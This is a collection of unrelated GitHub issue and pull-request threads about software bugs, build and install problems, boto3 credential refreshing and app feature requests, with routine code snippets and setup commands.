Eventually it is not needed to import the js file in index.html in case that you are using typescript.
Just skip this step. It should work.

Hi,
Sorry for the late response.
As ilanov wrote, you don't need to import the generated js file and you should use import with the TS code. Another option is to use a bundler such as Webpack or Browserify to bundle the code so you won't need to import the js file.

thank you very much to both! :)


What methods are used to filter variant tracks to get and select video track only?

Have you read the Tutorials?
Yes
Have you read the FAQ and checked for duplicate open issues?
Yes
What version of Shaka Player are you using?
3.3.19
What browser and OS are you using?
Window 10. Chrome.
Please ask your question
Hi Shaka Team,
I was testing using your Demo: https://shaka-player-demo.appspot.com/demo/#audiolang=en-US;textlang=en-US;uilang=en-US;asset=https://storage.googleapis.com/shaka-demo-assets/angel-one/dash.mpd;panel=HOME;build=uncompiled
But when I try to use getVariantTracks() method to get video tracks. The method give me 25 instead of 5 variant tracks. After reading, I know the method getVariantTracks() give me pair of video x audio tracks.
However, I want to get and select video tracks only, just like your Demo example.

Can you help me with the methods to get and select video tracks only?
Thanks,

Thank you, I have found the way. At least by reading your shaka-player/ui/resolution_selection.js file.
    let tracks = this.player.getVariantTracks();

    // If there is a selected variant track, then we filter out any tracks in
    // a different language.  Then we use those remaining tracks to display the
    // available resolutions.
    const selectedTrack = tracks.find((track) => track.active);
    if (selectedTrack) {
      // Filter by current audio language and channel count.
      tracks = tracks.filter(
          (track) => track.language == selectedTrack.language &&
              track.channelsCount == selectedTrack.channelsCount);
    }

    // Remove duplicate entries with the same height.  This can happen if
    // we have multiple resolutions of audio.  Pick an arbitrary one.
    tracks = tracks.filter((track, idx) => {
      // Keep the first one with the same height.
      const otherIdx = tracks.findIndex((t) => t.height == track.height);
      return otherIdx == idx;
    });

By simply filter out different language and duplicate height variant tracks. We receive a video tracks only.


Implement outlier check

depends on the variable, outlier can be
555555555
888888888
333333333 & etc
and depends on if the variable contains an outlier default value, we would have to NULL out other values (m, c, p, z)
https://github.com/NYCPlanning/db-acs/blob/834b15dd77ba330ac526f886df701c1d313b71ca/02_nta.py#L8-L10

#18

implemented


Hide speeches from the judge while the debaters are working

So the judge can't reason on the basis of the time they took. This means:

No timestamps on debater speeches (but maybe a timestamp for each "round")
Making sure not to leak this info in the turn status (should check for simultaneous speeches as well as consecutive)
It might involve restructuring the DebateRound / DebateTurn stuff.

This is almost done with 4b181a6 but there is still at least one issue:

Timestamp leaks that information
Maybe others too not sure.


ob run not working for macOS 12.0.1

I followed the installation instructions exactly and when I go to run ob run after ob init I get:
ob: dieVerbatim: user error (ob: Cannot find the program 'ghc'. User-specified path
'/Users/dbarkleyjr/Projects/reflex' does not refer to an
executable and the program is not on the system path.
)

I'm on macOS 12.0.1. I didn't see anything about explicitly installing ghc.

Hi @dbarkleyjr, I am having the same issue. Were you able to find a solution?

Hi @dbarkleyjr, I am having the same issue. Were you able to find a solution?

Nope. I decided to just use purescript for my frontend. Much less friction setting it up

This error happens when you use zsh instead of bash. The nixpkgs was not set (nix-channel --add https://nixos.org/channels/nixpkgs-21.11-darwin nixpkgs" and you will need to set it up the env var yourself. You can also try "nix-shell -p 'bash'" and run again "ob run". We will be working on this carefully.
Thank you!

We need to either document the need for a channel and env var set up, or make the installation easier.

I'm using bash and facing the same issue...
$ nix-env --version
nix-env (Nix) 2.8.1
$ ghc --version
The Glorious Glasgow Haskell Compilation System, version 9.0.2
$ ob run
./.obelisk/impl: command not cached, building ...
Tip: Press Ctrl+e to display full output
✔ Built on ./.obelisk/impl [command]
ob: dieVerbatim: user error (ob: Cannot find the program 'ghc'. User-specified path
'/path/for/my/project' does not refer to an
executable and the program is not on the system path.
)
$

Is your NIX_PATH empty? "printenv NIX_PATH" to check.

Is your NIX_PATH empty? "printenv NIX_PATH" to check.

I read somewhere that on non NixOs, the NIX_PATH doesn't get set anymore. But it worked after I add/update nix-channel and export the NIX_PATH env var. And yes, my NIX_PATH was empty.
Thanks for your help!

The solution to this issue will need to remove all dependencies on NIX_PATH that obelisk may have in non-nixos environments.


Can't install on Ubuntu 20.04.1 - the version of numba required by the package can't be found by pip (0.54.1)

Hey there!
Here's the error when trying to install with pip, either from pip install beatnet or by running pip install .:
ERROR: Ignored the following versions that require a different python version: 0.52.0 Requires-Python >=3.6,<3.9; 0.52.0rc3 Requires-Python >=3.6,<3.9; 0.53.0 Requires-Python >=3.6,<3.10; 0.53.0rc1.post1 Requires-Python >=3.6,<3.10; 0.53.0rc2 Requires-Python >=3.6,<3.10; 0.53.0rc3 Requires-Python >=3.6,<3.10; 0.53.1 Requires-Python >=3.6,<3.10; 0.54.0 Requires-Python >=3.7,<3.10; 0.54.0rc2 Requires-Python >=3.7,<3.10; 0.54.0rc3 Requires-Python >=3.7,<3.10; 0.54.1 Requires-Python >=3.7,<3.10
ERROR: Could not find a version that satisfies the requirement numba==0.54.1 (from beatnet) (from versions: 0.1, 0.2, 0.3, 0.5.0, 0.6.0, 0.7.0, 0.7.1, 0.7.2, 0.8.0, 0.8.1, 0.9.0, 0.10.0, 0.10.1, 0.11.0, 0.12.0, 0.12.1, 0.12.2, 0.13.0, 0.13.2, 0.13.3, 0.13.4, 0.14.0, 0.15.1, 0.16.0, 0.17.0, 0.18.1, 0.18.2, 0.19.1, 0.19.2, 0.20.0, 0.21.0, 0.22.0, 0.22.1, 0.23.0, 0.23.1, 0.24.0, 0.25.0, 0.26.0, 0.27.0, 0.28.1, 0.29.0, 0.30.0, 0.30.1, 0.31.0, 0.32.0, 0.33.0, 0.34.0, 0.35.0, 0.36.1, 0.36.2, 0.37.0, 0.38.0, 0.38.1, 0.39.0, 0.40.0, 0.40.1, 0.41.0, 0.42.0, 0.42.1, 0.43.0, 0.43.1, 0.44.0, 0.44.1, 0.45.0, 0.45.1, 0.46.0, 0.47.0, 0.48.0, 0.49.0, 0.49.1rc1, 0.49.1, 0.50.0rc1, 0.50.0, 0.50.1, 0.51.0rc1, 0.51.0, 0.51.1, 0.51.2, 0.52.0rc2, 0.55.0rc1, 0.55.0, 0.55.1, 0.55.2, 0.56.0rc1, 0.56.0, 0.56.2, 0.56.3, 0.56.4, 0.57.0rc1, 0.57.0, 0.57.1rc1, 0.57.1, 0.58.0rc1, 0.58.0rc2, 0.58.0, 0.58.1, 0.59.0rc1)
ERROR: No matching distribution found for numba==0.54.1

I tried changing the numba version in setup.py to 0.55.0 (which is the closest version that is available) and that makes it install but it crashes with a numpy error then. Should I try to install 0.55.0 and move on with debugging numpy?
Thanks!

Opened a PR for this here: https://github.com/mjhydri/BeatNet/pull/39

@yeswecan
I followed exactly this on a venv, might work for you:
[(https://github.com/mjhydri/BeatNet/issues/22#issuecomment-1487850543)]


Stop building tests except for Testing; Carthage Support

Reference Carthage/Carthage#517 for details.

Test requires test_config.json


Adding a task dependency removes a finalizer dependency

If a task A is finalized by a task F, and F has an explicit dependency on A, the finalizer dependency is dropped. This is admittedly an unusual setup, but the behavior strikes me as incorrect, so I thought it wouldn't hurt to report :)
This repros in 7.1.1 and the latest nightly as of today (7.2-20210704221017+0000), and I put up a small repro here: https://github.com/cesar1000/dropped-finalizer.

Thank you for reporting. The problem here is the following: A task can only execute if all its dependencies finished successfully. In your example, the dependency of the finalizer (which is the task to be finalized) fails. So Gradle cannot run the finalizer. If the task succeeds, then the finalizer runs as expected.
I'll close this issue now, since this works as expected.

Thanks, Wolf! That makes sense. Since this is essentially an invalid configuration, I'd expect Gradle to report it – but, then again, it's admittedly a rare setup so it probably doesn't matter than much anyway :)

Since this is essentially an invalid configuration, I'd expect Gradle to report it

That could be an option. The configuration still has an effect: The finalizer runs if the task finishes successful.

The inconsistently only makes it more confusing though!


Prevent panning the switch image passed its horizontal threshhold

Switch now only pans as far as the on or off state position, as opposed to its original functionality where panning the switch could move it far out of position

:+1:


Upgrade winit, accesskit, rfd, windows dependencies

Closes #146.

Blocked awaiting accesskit update for winit 0.30 compatibility.

https://github.com/AccessKit/accesskit/pull/397


[tests-only][full-ci]revert changes of PR #6461

Description
This PR reverts changes made by https://github.com/owncloud/ocis/pull/6416
Related Issue

https://github.com/owncloud/ocis/issues/6750

Motivation and Context

How Has This Been Tested?

Screenshots (if appropriate):
Types of changes

[ ] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)
[ ] Technical debt
[ ] Tests only (no source changes)

Checklist:

[ ] Code changes
[ ] Unit tests added
[ ] Acceptance tests added
[ ] Documentation ticket raised:

This looks like it only reverts one of the commits from #6416
https://github.com/owncloud/ocis/pull/6416/commits/e4f96333f6e2ed76d3f99b127108b107dea6a039
Please explain in the top post of this PR about why we should change the order back. That will help people to understand what is happening in the CI.

@PrajwolAmatya Also, prefix issues with fixes if this PR fixes them


Credentials files are only read once and are never reread

We require short term credentials to be used for all API calls. As an easy way to deal with this, we have been writing credentials to a credentials file continually every X minutes and relying on the default search order for finding credentials. That way, we don't have to write any specific authentication code inside the app.
This worked with boto because every time credentials were required, boto went and read from the credentials file. However with boto3/botocore the credentials are only read when the session is created. When the credentials expire boto3/botocore continues to try to use them and we see a RequestExpired error.
Can we make the Credentials object a proxy object to read from file each time they are needed for file credentials?
P.S. I think the same issue exists for environment variables as well although they are less likely to be used in this manner.

Reading the credentials file every time a call is made would incur unreasonable (and likely unexpected by the average user) I/O cost. Overwriting the config file was the only way to do things in legacy boto, but there are APIs for that now. You would need to create your own CredentialProvider and insert it in the provider chain. Your provider would then return RefreshableCredentials that handles the logic of updating when necessary. This would avoid the need to overwrite the credentials file by allowing you to insert the refresh logic in your code. Once you have your credential provider, you would add it to the credential resolver like so:
from botocore.session import Session

# Create a botocore session with your custom credential provider
custom_credential_provider = CustomCredentialProvider()
botocore_session = Session()
credential_resolver = botocore_session.get_component('credential_provider')
credential_resolver.insert_before('config', custom_credential_provider)

# Create a new boto3 session with your botocore session
dev = boto3.session.Session(botocore_session=botocore_session)

# Configure the default session with your botocore session
boto3.setup_default_session(botocore_session=botocore_session)

Now your credential provider has been inserted into that session's provider chain before it searches the config file.
You could also inherit from the botocore session and overwrite the get_credentials to never cache the credentials, but that's inadvisable.
Let me know if you have any other questions.

Yep, I have done exactly that and abstracted it away. It works great and for our home-grown apps it's not a problem. But as mentioned, the goal for this is to be able to use open source projects etc that expect to find credentials in the usual places. With the new shared credentials location it also allows us to use one way to provide credentials for apps written in languages other than python.
Reading from the credentials file every time was the simplest solution but below are some other suggestions that still employ caching.

Write expiration time to credentials file and use that to auto-refresh
Refresh credentials every 60 seconds.
Refresh credentials as part of request retry

I'm happy to raise a PR if we can find an approach that would be acceptable.

The shared credentials file is just not meant to change in run-time. Among the credential provider chain, the only provider that is intended to change is the EC2 instance metadata provider. This is standard amongst all the SDKs that we support.
May I ask what your use case is?

One example use case for us is running Security Monkey (https://github.com/Netflix/security_monkey). It expects to use an instance role for credentials but our organisation doesn't currently allow using roles due to the maintenance overheard of creating/maintaining/securing for hundreds of users/applications. So we were using credentials file instead.
The problem is made worse due to the way that the default session is cached... Security Monkey uses APScheduler to run 'watchers' every 15 minutes. So new threads are spinning up and calling boto3.resource('ec2') but they are getting the already cached session with the expired credentials. In this case if the credentials were reread (or the session wasn't cached) when the boto3 resource or client was instantiated everything would work.

While it appears that periodically updating the credentials file is not considered a best practice, it is exactly what the AWS Cloud9 service does. (The credentials update every 5 minutes and expire after 15 minutes.) This makes it seemingly impossible to perform long-running operations with boto on S3 without writing my own credential manager.

By the way, I went ahead and wrote my own credential manager.
Example usage:
import boto3
from managed_temporary_credentials_provider import ManagedTempCredentialsProvider

mtcp = ManagedTempCredentialsProvider()

mtcp.register_default()
s3 = boto3.resource("s3")  # Now the credentials will automatically refresh.

s3 = mtcp.boto3_session.resource("s3")  # Effectively the same as before, but more explicit.

Many thanks to @JordonPhillips for all the hints above.

Hi all, I can understand how it could be useful to reload parts of the credential/config files if it is scoped to authentication related things (access key, secret key, token). If other parts of the configuration could be reloaded, it would surely cause many hard to debug errors. As noted above (and demonstrated by @maresb) writing your own credential provider is a viable solution.
However, implementing this is not something that will be addressed solely in the Python SDK - it needs AWS SDK-wide adoption to have a consistent experience. I am going to close this issue here and re-open one at aws/aws-sdk to raise visibility across the AWS SDKs, link it to the other relevant issues, and raise it with the SDK team for further discussion.
Thanks again!

I opened an issue to track this for AWS SDKs here: https://github.com/aws/aws-sdk/issues/107


Update partner-gallery.md

Adding a new partner tutorial for Vu.

Learn Build status updates of commit 9bbccc9:
:warning: Validation status: warnings

File
Status
Preview URL
Details

articles/active-directory/verifiable-credentials/partner-gallery.md
:warning:Warning

Details

articles/active-directory/verifiable-credentials/partner-gallery.md

Line 26, Column 198: [Warning: file-not-found - See documentation] Invalid file link: 'partner-vu.md'.

For more details, please refer to the build report.
If you see build warnings/errors with permission issues, it might be due to single sign-on (SSO) enabled on Microsoft's GitHub organizations. Please follow instructions here to re-authorize your GitHub account to Learn Build.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
Note: Your PR may contain errors or warnings or suggestions unrelated to the files you changed. This happens when external dependencies like GitHub alias, Microsoft alias, cross repo links are updated. Please use these instructions to resolve them.
For any questions, please:Try searching the learn.microsoft.com contributor guidesPost your question in the Learn support channel

Learn Build status updates of commit 03e7fdc:
:x: Validation status: errors
Please follow instructions here which may help to resolve issue.

File
Status
Preview URL
Details

:x:Error

Details

[Error: GitBranchDeletedOrForcePushed]

Cannot sync git repo to specified commit because ref +refs/pull/100417/merge has been deleted or has been force pushed.
 If this is pull request, please ensure it is mergeable (no merge conflict) and open (not closed).

For more details, please refer to the build report.
If you see build warnings/errors with permission issues, it might be due to single sign-on (SSO) enabled on Microsoft's GitHub organizations. Please follow instructions here to re-authorize your GitHub account to Learn Build.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
Note: Your PR may contain errors or warnings or suggestions unrelated to the files you changed. This happens when external dependencies like GitHub alias, Microsoft alias, cross repo links are updated. Please use these instructions to resolve them.
For any questions, please:Try searching the learn.microsoft.com contributor guidesPost your question in the Learn support channel


ANC - Partner HIV Lab - Progress Report

Issue
The result of the HIV partner lab should appear on the progress report in the lab section. It will be one line item (no arrow to more). Normal range is Negative. If positive or undetermined it will appear red.
To Do

Create Progress report entry for this
Let jeanette know if you need a design for this but it should be straightforward

@jeanette-pelizzon
No need for design, but I need the text to be displayed.

@jeanette-pelizzon
No need for design, but I need the text to be displayed.

This is how I made it:

@jeanette-pelizzon @anvmn

nutrition env
tablet

Questions:

It will be one line item (no arrow to more). Normal range is Negative.

The lab appears in the subsequent encounter if the test result was indeterminate in the first encounter, so the arrow and lab history are present. It's OK? Or is the indeterminate result not supposed to appear in the lab history and therefore the arrow and the lab history will not appear (will always show only the last result without the arrow)?

About the question Is the patient partner HIV positive? in HIV lab. How should the nurse select an answer if the test result is indeterminate or has not yet been completed? There are only Yes and No answers

Checked and Approved:

The result of the HIV partner lab appears on the progress report in the lab section. Normal range is Negative. If positive or undetermined it appears red.

the Indeterminate result from the first encounter
the Indeterminate result from the second encounter
all results

the Positive result from the second encounter
all results
the Negative result from the second encounter
all results